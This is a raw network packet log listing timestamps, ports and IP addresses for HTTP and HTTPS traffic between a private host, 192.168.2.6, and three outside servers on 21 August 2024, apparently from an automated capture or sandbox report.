Aug 21, 2024 08:32:16.649980068 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.650005102 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.650084019 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.650089979 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.650104046 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.650110006 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.650118113 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.650124073 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.650130033 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.650130987 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.650152922 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.650176048 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.650204897 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.650382042 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.650393009 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.650398970 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.650403976 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.650409937 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.650424957 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.650453091 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.650455952 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.650496960 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.650543928 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.650552988 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.650563002 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.650568962 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.650613070 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.650639057 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.650644064 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.650654078 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.650659084 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.650665045 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.650669098 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.650681019 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.650696993 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.650713921 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.650880098 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.650890112 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.650896072 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.650907040 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.650918007 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.650923014 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.650924921 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.650966883 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.651077032 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.651104927 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.651149988 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.651165962 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.651171923 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.651201963 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.651417971 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.651422977 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.651433945 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.651437998 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.651443958 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.651453018 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.651463985 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.651473999 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.651479006 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.651479959 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.651510000 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.651520014 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.651550055 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.651555061 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.651568890 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.651573896 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.651586056 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.651591063 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.651597023 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.651598930 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.651624918 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.651638031 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.652003050 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.652018070 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.652082920 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.652091026 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.652249098 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.652282953 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.652288914 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.652299881 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.652309895 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.652331114 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.652359009 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.652369022 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.652374983 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.652390003 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.652419090 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.652631998 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.652642012 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.652654886 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.652667999 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.652692080 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.652703047 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.652790070 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.652834892 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.652842045 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.652893066 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.652898073 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.652908087 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.652928114 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.652947903 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.657295942 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.657300949 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.657316923 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.657361984 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.657367945 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.657377005 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.657378912 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.657385111 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.657390118 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.657403946 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.657432079 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.666066885 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.666073084 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.666086912 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.666150093 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.666182041 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.666340113 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.666346073 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.666357040 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.666362047 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.666367054 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.666377068 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.666413069 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.666416883 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.666430950 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.666436911 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.666445971 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.666451931 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.666553974 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.666564941 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.666615009 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.666639090 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.666651011 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.666656971 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.666680098 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.666709900 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.666724920 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.666731119 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.666742086 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.666783094 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.666919947 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.666925907 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.666935921 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.666973114 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.667071104 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.667087078 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.667093039 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.667102098 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.667107105 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.667112112 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.667124033 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.667126894 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.667154074 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.667179108 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.667181969 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.667186975 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.667196989 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.667201996 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.667247057 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.667311907 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.667323112 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.667335033 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.667340994 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.667373896 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.667402983 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.667409897 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.667423964 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.667427063 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.667443991 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.667443991 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.667493105 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.687710047 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.687800884 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.687822104 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.687834024 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.687952042 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.688332081 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.688338041 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.688353062 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.688358068 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.688400984 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.688433886 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.709952116 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.710040092 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.710062981 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.710074902 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.710084915 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.710091114 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.710095882 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.710112095 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.710117102 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.710165977 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.710192919 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.710216045 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.710221052 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.710236073 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.710242033 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.710257053 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.710263014 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.710268974 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.710299969 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.710299969 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.710666895 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.710673094 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.710683107 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.710686922 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.710696936 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.710701942 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.710714102 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.710719109 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.710730076 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.710736036 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.710741043 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.710800886 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.710800886 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.710834026 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.710844040 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.710850000 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.710854053 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.710867882 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.710867882 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.710882902 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.710889101 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.710889101 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.710894108 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.710908890 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.710912943 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.710918903 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.710930109 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.710935116 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.710944891 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.710952044 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.710958004 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.710962057 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.710968018 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.710968018 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.710973978 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.710982084 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.710987091 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.710988045 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.710993052 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.711000919 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.711011887 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.711029053 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.711046934 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.711160898 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.711167097 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.711257935 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.711302042 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.711307049 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.711318016 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.711322069 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.711327076 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.711332083 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.711345911 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.711352110 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.711354971 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.711364031 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.711376905 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.711385012 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.711390972 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.711394072 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.711436987 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.711436987 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.711688995 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.711711884 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.711716890 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.711725950 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.711730003 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.711735964 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.711740971 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.711751938 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.711756945 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.711777925 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.711807966 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.712867975 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.712873936 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.712883949 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.712897062 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.712903023 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.712913990 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.712918997 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.712924004 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.712929964 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.712937117 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.712973118 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.712973118 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.713377953 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.713443995 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.713500023 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.713506937 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.713516951 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.713521957 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.713526964 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.713531017 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.713536024 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.713546991 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.713558912 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.713561058 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.713567019 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.713578939 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.713622093 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.713622093 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.713622093 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.718727112 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.718854904 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.719187021 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.719192028 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.719238997 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.719351053 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.719405890 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.719471931 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.719517946 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.719772100 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.719839096 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.719897985 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.720067024 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.720072031 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.720113993 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.720261097 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.720273018 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.720283985 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.720326900 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.722090006 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.722095966 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.722110987 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.722115040 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.722124100 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.722129107 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.722135067 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.722146034 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.722151995 CEST	80	49722	162.241.203.25	192.168.2.6
